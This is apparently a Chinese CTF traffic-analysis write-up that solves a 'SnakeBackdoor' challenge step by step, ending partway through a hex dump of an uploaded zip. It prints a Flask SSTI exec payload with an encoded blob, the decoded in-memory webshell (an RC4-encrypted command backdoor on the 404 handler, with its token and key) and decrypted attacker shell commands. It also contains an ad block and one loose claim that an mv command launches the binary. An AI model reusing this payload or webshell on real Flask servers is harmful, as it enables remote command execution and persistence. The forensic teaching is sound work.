0.前言
一直以来都想写个流量分析的做题总结,总结一些思路和方法,但找不到好的例题,刚好国赛这道流量分析就挺适合的
题目内容- 近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
复制代码 1.SnakeBackdoor-1
- 攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
复制代码 直接筛选出http流量
[img=720,325.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/3a9dbd36-3ad9-4cae-bacf-a270f9c87c34.png[/img]
并找到最后一个login,右键追踪一下,就看到后台密码了
[img=720,463.0954587581094]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/989e7e5b-8a9b-41ea-893b-966615b73ae5.png[/img]
flag{zxcvbnm123}
2.SnakeBackdoor-2
- 攻击者通过漏洞利用获取Flask应用的 `SECRET_KEY` 是什么,结果提交形式:flag{xxxxxxxxxx}
复制代码 模糊查询,直接找到这个关键字“SECRET_KEY"- http contains "SECRET_KEY"
复制代码[img=720,129.85714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5ee512b5-d8f9-4426-a471-7bbcd2ab50d6.png[/img]
右键进行一个追踪,并查询关键字SECRET_KEY
[img=720,183.85714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/77bf6dcd-67c9-49e3-9a1a-1a48c00ae10b.png[/img]
这段流量是 Flask 框架应用配置对象 的完整序列化输出,攻击者通过 SSTI(服务端模板注入) 漏洞成功读取了内存中的敏感变量
- 内容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
- 安全意义:这是 Flask 应用最核心的安全凭证
- 一般用来:Session 签名,也就是Flask 默认将 Session 存储在客户端 Cookie 中,并使用此 Key 进行 HMAC 签名,一旦泄露,攻击者可以使用工具,比如说 flask-unsign伪造任意用户的 Session,例如将 user_id 改为 1 或 admin,从而实现越权登录,甚至在某些配置下导致 RCE
所以对应的flag{c6242af0-6891-4510-8432-e1cdf051f160}
3.SnakeBackdoor-3
- 攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
复制代码 继续往后翻,会发现1789流有异常
[img=720,474.42857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/d47e5053-258b-4982-a6b1-40d3879feabe.png[/img]
为什么说这段流量是可疑的?
- 首先,内容以 {{ ... }} 包裹,正常的“预览预览”功能应该只处理纯文本或简单的 HTML,而这里提交的是 Jinja2 模板执行代码
- 其次,它有危险函数的调用,载荷中出现了 url_for.__globals__['__builtins__']['exec']
- globals,我们都知道它是试图访问 Python 的全局命名空间
- exec,这又是 Python 最危险的函数,能将字符串当作代码执行,基本上任何在流量中看到的 exec 基本上都是 RCE 的标志
- 接着,它里面还嵌套了 base64.b64decode、zlib.decompress 以及 [::-1]等一大堆乱七八糟的东西,正常的业务请求绝不会将代码进行压缩、反转再发送
- 最后,一个简单的“Hello World”预览请求通常只有几十个字节,但这个请求的 Content-Length 达到了 4602 字节,说明其中隐藏了复杂的逻辑脚本
判断好之后,我们就要分析这段内容是什么了
首先是SSTI 注入层,使用 {{url_for.__globals__['__builtins__']['exec'](代码, 上下文)}},这是利用了 Flask 的模板注入漏洞来调用 Python 的内置 exec 函数
其次,Base64 编码层(外壳)exec(base64.b64decode('XyA9IGxh...'))这段 Base64 解码后是_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'=c4CU3xP...'))这定义了一个解密函数 _:反转字符串 -> Base64 解码 -> Zlib 解压- _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
- exec((_)(b'=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'))
复制代码 接着,反转 + Zlib 压缩层攻击者将真正的恶意代码,也就是上述那段以 =c4CU3xP 开头的巨大字符串,进行了 Zlib 压缩,并做了字符反转,最后再 Base64 编码
最后注意 Payload 末尾:{'request':..., 'app':get_flashed_messages.globals['current_app']},攻击者将 Flask 的 app 对象传入了执行环境。这意味着恶意代码可以直接读取 app.config
所以exp.py- import base64
- import zlib
- import re
- from typing import Tuple, Optional
-
- class PayloadDecoder:
- def __init__(self, max_layers: int = 200):
- self.max_layers = max_layers
- self.pattern = r"exec\(\(_\)\(b'([^']+)'\)\)"
-
- def _reverse_bytes(self, data: bytes) -> bytes:
- return data[::-1]
-
- def _base64_decode(self, data: bytes) -> bytes:
- return base64.b64decode(data)
-
- def _zlib_decompress(self, data: bytes) -> bytes:
- return zlib.decompress(data)
-
- def _extract_nested_payload(self, text: str) -> Optional[str]:
- match = re.search(self.pattern, text)
- return match.group(1) if match else None
-
- def decode_blob(self, encoded: bytes) -> bytes:
- reversed_data = self._reverse_bytes(encoded)
- decoded = self._base64_decode(reversed_data)
- decompressed = self._zlib_decompress(decoded)
- return decompressed
-
- def process_payload(self, payload: bytes) -> Tuple[int, bytes]:
- current = self.decode_blob(payload)
- layer_count = 1
-
- while layer_count < self.max_layers:
- try:
- text_content = current.decode('utf-8')
- except UnicodeDecodeError:
- text_content = current.decode('utf-8', errors='replace')
-
- extracted = self._extract_nested_payload(text_content)
-
- if extracted is None:
- break
-
- current = self.decode_blob(extracted.encode())
- layer_count += 1
-
- return layer_count, current
-
- def execute():
- encoded_payload = b'=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'
-
- decoder = PayloadDecoder()
- layers, content = decoder.process_payload(encoded_payload)
-
- print(layers)
- print(content.decode('utf-8', errors='replace'))
-
- if __name__ == '__main__':
- execute()
复制代码 跑出来源代码
[img=720,570.8571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/67f84976-afbe-436f-89b1-9204606df68a.png[/img]
可以看到复原出来的源代码RC4的密钥是v1p3r_5tr1k3_k3y,所以flag{v1p3r_5tr1k3_k3y}
4.SnakeBackdoor-4
- 攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
复制代码 我们来分析上一题我们得到的shell代码- global exc_class
- global code
- import os,binascii
- exc_class, code = app._get_exc_class_and_code(404)
- RC4_SECRET = b'v1p3r_5tr1k3_k3y'
- def rc4_crypt(data: bytes, key: bytes) -> bytes:
- S = list(range(256))
- j = 0
- for i in range(256):
- j = (j + S[i] + key[i % len(key)]) % 256
- S[i], S[j] = S[j], S[i]
- i = j = 0
- res = bytearray()
- for char in data:
- i = (i + 1) % 256
- j = (j + S[i]) % 256
- S[i], S[j] = S[j], S[i]
- res.append(char ^ S[(S[i] + S[j]) % 256])
- return bytes(res)
- def backdoor_handler():
- if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
- return "Error"
- enc_hex_cmd = request.form.get('data')
- if not enc_hex_cmd:
- return ""
- try:
- enc_cmd = binascii.unhexlify(enc_hex_cmd)
- cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
- output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
- enc_output = rc4_crypt(output_bytes, RC4_SECRET)
- return binascii.hexlify(enc_output).decode()
- except:
- return "Error"
- app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
复制代码 这段代码是一个典型的Python 内存马,它被挂载在 Flask 等框架的 404 错误处理句柄上
要找到攻击者上传的二进制后门文件名,从流量分析入手,利用这段代码提供的加密逻辑进行解密
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
HTTP 请求头中包含 X-Token-Auth: 3011aa21232beb7504432bfa90d32779,攻击命令通过 POST 参数 data 传递,数据格式为十六进制字符串
采用了 RC4 算法,关键密钥:v1p3r_5tr1k3_k3y,解密后的命令通过 os.popen(cmd) 执行,结果再次 RC4 加密并以 Hex 形式返回
那我们可以在 Wireshark 或流量分析工具中,筛选出符合以下特征的流量:- http contains "X-Token-Auth"
复制代码[img=720,138.85714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/502b8b48-1018-4825-a4f7-6b4068c79f69.png[/img]
找到那些 POST 请求,复制 data 参数后面的十六进制字符串,带入到以下脚本一个个去试- import binascii
- def rc4_crypt(data: bytes, key: bytes) -> bytes:
- S = list(range(256))
- j = 0
- for i in range(256):
- j = (j + S[i] + key[i % len(key)]) % 256
- S[i], S[j] = S[j], S[i]
- i = j = 0
- res = bytearray()
- for char in data:
- i = (i + 1) % 256
- j = (j + S[i]) % 256
- S[i], S[j] = S[j], S[i]
- res.append(char ^ S[(S[i] + S[j]) % 256])
- return bytes(res)
- SECRET = b'v1p3r_5tr1k3_k3y'
- # data 字符串填在这里
- enc_hex_cmd = "这里填流量包里的hex字符串"
- enc_cmd = binascii.unhexlify(enc_hex_cmd)
- cmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')
- print(f"Decrypted Command: {cmd}")
复制代码 解密 1814 流的 Data:
- Payload: bab6694ba3c9...
- 解密结果: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
- 性质判定:这是一个系统命令,调用系统自带的 unzip 工具,它是在准备环境,不是在运行木马本体
解密 1817 流的 Data:
- Payload: a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351
- 解密结果: mv /tmp/shell /tmp/python3.13
- 性质判定:
- 这里出现了一个绝对路径 /tmp/python3.13
- 它不是系统自带命令,Linux 并没有 python3.13 这个原生标准路径,且系统本身运行的是 3.12
- 定性:这行命令的作用是启动一个特定的二进制文件并让它持续驻留,这完全符合执行木马本体的行为定义
[img=720,163.9193083573487]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/39ff33be-d39b-4ba1-8aa2-f8d49ba01c93.png[/img]
flag{python3.13}
5.SnakeBackdoor-5
- 请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
复制代码 根据上题,1813流是在解压,所以可以提取流量包中传输的123.zip,所以往前翻,翻到1807流
PK开头就是有.zip压缩包了,显示选择为原始数据
[img=720,508.5]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f8e57b85-e7f2-464f-8c23-eb4aa2996da1.png[/img]
将504b开头那些东西都复制下来保存到.txt文件内,通过以下脚本进行一个提取- import binascii
- #那段长十六进制字符串
- hex_data = "504b03041400090008002431955be01c1a3483100000f838000005001c007368656c6c555409000354d547695ad5476975780b000104000000000400000000b513d2ddc97797c8b164bf85a8cfb6162732440e1431884df99aae322636568e2824d8eadc31815e8d6b5dda1fc3d6ee45e91146de5248d321d8b87c65e27269dddb8aa41496c9acfec533833226e162c40d9404b301751a6cca6a52adea3f175b4b0f2c11989600b9fc2c8a007e393962dc264416f07e3232ca03fd484421c638aa6079b54493a1c10e86de01a10ab08fbf7bbb2b5232b139dbec9e22312e3ecd22f5f1e6eed431dad7a8ec8e5938dedca24c38f4d2df50d34a88c5d6e51f156612f990f0a30c8aac7e91e6ab68ec994d332fd9392f47b3d513d684a913dfb2be73216fe3a1314cb4cfb6746bd1061198731e792596c74dc7c81caa67e136aa9838e6d8def8a79329971d934425be0202850e19571f340229e64d186e570fdb6da66531d7e9adb508a8f28442c42a711bb950c9952aa3b4c20ba46bb7bbfe024268e068c9a93ce45c6764b8d879ea1460271c73b29ea5dc8b79251ff941302e2f6060c851074e631cd489d1978c83cc85d01c4111d78cc99985f6231c406694d33d94759667346d566d97f5e31c6f6694e017927bbacd853ca588276a105eab80e9eb7b039c4cfb7c1a023cb9686cd4a28d977bb09e14dc5a53cf3c0247abbf8a120050ea28b2a25779a997e5b738c4fe6f6b39d7d3a7b926be1c727f43971c7116b9fb7dbbfa2770b7aa250cf5c7764c1756ad7bfbe3fc838ad20c6dc7aa9ad7a60cc4c5c988fcb1ad7b2d93719855c155908db4f19e5725c1f7052ae9e226e46e716501b49599648a8492eb1e7f8e340ea7c0127affc890c359284a61a7ad7159f591afdae771c6ee6d82b4a1c3c8bdcb6fd42649ba37a41e3f20c8d7f70c1166161884a5e74cf5b4991992310fcadd61c599884b8d982809bc6bb776236c10642f9fa0b513b731431c269853bebbd9920468397c3f0d7587f05500550bf7096e054b3e541006d22620d73d0fc018eb760042878362eb1fd7090157a6713774fa5fdf5b5e6cc11cf945427121029e9ba66f7b1f3e93832d1434687c720f6ab52d1f979d590eaf6ade5ee8685259afc823ca12a6382bd3bd46e674f9914cf1a4e4c4ee3d6699fbdb28934aa1de1a33d5a9a9c65d74314d8e9c667f01e881b58757897486b66ee3ccbb114bf61a652115660b3b65f08da901554c63e9fdceca137b1c3161c2a27bec3b3d3ced97630c980611f8ea13611a3a8520e6b9dc430ca91f60aa65ac52355fbff0ccbbef479e60f3d217be6ca580b4f9fa315b681467cb1dc3348a23889685e0274fd5f16cc153d0dfe862fa54feea077eaf8a10a0d13aa54dbfde88d689bfae3f716d303f14d08139fe3d6528e2aad3fa28f3d4ce91b54e3589bfe4f73c73e7ec963fb4265104e5393fa1ad407bc4aea65c75dd83787e2b782ad0587032730a860d15054ce554645ce2e8fda849adc619b2c09242f420befebf279bb3c1e8716e431cf2b89caa849e76c3cddf20944c43731aee2ae257292704589ee9d93654b72d4ee4daf95f0c58ac33cf2d7d5a9123f6cdab29475465c6c4643adc7eb9301f3f30048463a2c11f7c7efd30eac836ec8a62690f24d010af11974f58b66467cc7f3294ceccb0496b381ed3774dac4642b6ecd3b05214cfd67756c8f90c5380f61fba3a0be60c723e0b9a8a1ab291f214b06410dd834f0326d2961cdf1a8906807d8e82492ad63151f2a18dd5d527b151b5e7219d824c8c7b18de38d0ca7117a321f689ed9cf00b90f37cf42fcc34327fd6763b95a33cfcdd941cfe3fd5fd1a7b6a164135ba5b9e015902315c93d73ade804c42a6b3c7f1f6d76141397f6867167edca1d2ae3de618647d7e283554df51accd77418644087f8a0d1d6bd37e30f9c387e5c86c747e483b1bac9bdfeef360c59ba2cc8c31b5e58b30e004ebddd26ade10fbc0c27c1e8b883c72a92a7645a2910a79f665f4b106e9188a14436c567f51ea48f94ff2283f9cc1f13aeb55e25e6c517bf41073f3cf610c2119f065eb0d29982b3d81b5af4dc84a11d17c7b328ad83253c3d4d099674bc5632b8e4d79188268e420171b51b789491c82d4fb543bee92182a0287a61797d99e034bcb8ce72942884fef00fed929747e526d463e66961e48e9ea66048d8b42f7bedd5fc9c80c7fbe09c1a1c0d84111d71f34bef352287345bad7e417c8a3c43b8582f6410fe2091feb73548ee05a9eebde8b310817cdeade38a5736161bfc8f9453f7cc80a2f2dbf5ac2c83f489424719276bcd7b238249157cb40d2715dc46b3f7acc1520148ee03430c2a7da27e3d4d204178cb4ba2d378e2fe8aaea895251de970cda7dfa00aaef5eaa2f2673663d880983d9fa6cdf6aeeeba99bb1b2bf774a9685b13b8aec015e1782e31c5582125445c1f3b314912e93c6677be910ae19b3c4237c417beafb7acd13c85fde3f2d517c00e302f7bfc60bb967b4f4e00e6f53ca2a3125b7b260e5cb311f41449ce394a7c164830836b516d246c1afaf7c0c39c082e7a8d2ee66374b7d8c37db77f634c22025fad64a6df59d41ce4c5191517b821c5e7e2238e92948f10f17088935d976e2ed1986eef61bc0c481c5f4dfc4e809dd642712290ae75e80454e132e1051e4fe1554ef49ec33afbfc978e3c72b7b1f7c494bec23d342a8821f1eb5d9749d82d37d8de9bd33bdc81fdcee09bd532b0a131711126c47e90e32ea3cbdfe594717e05983b50df59150d7e5a15cd618a9866ec18aee3262f3b5bebd30b459c004d30bfcb0f360b7d352169e647a7c287db39b79fc4ceae70b2cf8c7658868a2c62aecd65e525b4e0dc3de33940691361bbb905d0eddd67f40f09170c314206b5c6504edbaaa92bb41495d8422b546de33415234f282a60121ff6621a3574e693c7525893bc55f2017c117ae699b315e98f48729229b55ee72d7ef1e3e81a82369796e95aa2a6bd1c04dd69ec76748564859f3226d8291782d7f39120da7cd4f84c75db5530bb4ff9ec55404d68061ede3bc81409f56f1306b9aa5da184ec4c1d88d89663a4777a359a4dcec516243950cefb912563a81b916f719c4b70b3ae5147fbaf0abb87b799f17fca39564b12f9ec1e14c7f1a24e0893fcbeb864bef56f72b9801867ac327d4e9df67e044a60c0c44eac4db6589e1937762925328debd3ee0033a7e7e28e82248b07f263a1a8fdce1c72ecff1b814977edc5ca76bffb7fc22207c856a018891127ad857548e25398cfa997ff603eb5ae6be0edc690614cf183d6a19310bfc9de10f3b2ec0aba9448127360baf508d8fe1a661e819ad96028bdd1fd88350571fb522993c23aa6af907ab063cc27b3e9ce1edc9d8126bebf17182ec066d65e0801f026485100c66b14b26876570d1ef4b61bb3d2c0bd137d6744e092ede9bfd2f532993cdd8bdadeb4a237cbaae27f57d10e81ef26dfe81a8df41c5f5e5e6170a1212dcd4bf162dbf51e0d89b5929a7a852f762407591bca0ffde5aaa876ec030686080581a88813430800e0b35cf8583c0587184a81eadac8ba97fc3690718667154eeb64faf290a4b302bd782acd35e86675ea0560f42980596bd4357592b4c8328c08fe06a07ffe40d823ca76de71c667e1f687985bfe1a8516a634f3a2329e2037dd74a6044e0fc4a35f29e50b0fd9910fa26a2aa6608166b4e105587fb1ec7152f4e31dae57392978512d263c6ab623df7258d